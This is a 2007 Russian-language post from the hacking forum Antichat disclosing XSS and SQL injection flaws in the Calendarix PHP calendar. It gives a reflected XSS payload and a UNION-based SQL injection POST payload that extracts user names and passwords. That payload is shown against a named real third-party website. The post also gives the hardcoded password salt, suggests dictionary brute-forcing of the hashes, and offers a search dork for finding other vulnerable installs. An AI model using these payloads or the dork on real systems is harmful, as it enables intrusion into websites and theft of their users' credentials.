Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   XSS и SQL-injection в Calendarix. (https://forum.antichat.xyz/showthread.php?t=48086)

1ten0.0net1 01.09.2007 17:20

XSS и SQL-injection в Calendarix.
 
Уязвимости подвержены многие версии, от версии к версии разнится только структура SQL запроса.

1. XSS
Пассивные XSS существует во многих параметрах, например, в $month :
calendar.php?month="><script>alert(/XSS/)</script>

Пример уязвимого кода в calendar.php
PHP код:

echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" 

2. SQL-inject
Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!)

PHP код:

$query "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ;
if (
$catview!=0$query $query." and ".$EVENTS_TB.".cat=$catview " 

Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных.

Пример:
http://www.3ringcircusproductions.com/calendar/calendar.php
POST:
catview=2+and+(0=1)+union+select+11,22,concat(user name,char(58),password),4,5+from+calendar_users--

P. S. Префикс таблицы по умолчанию calendar_
Кол-во колонок в запросе меняется от версии к версии.
Пароли пользователей шифруются по следющему алгоритму:
PHP код:

$login preg_replace("/[';]/"""$login); 

Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27)
PHP код:

$crypt "we6c21end2r4u" ;
$cryptpas crypt($password,$crypt); 

то есть криптует по DES алгоритму с использованием соли.
На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... )

dork: inurl:yearcal.php intitle:Calendar


Время: 21:26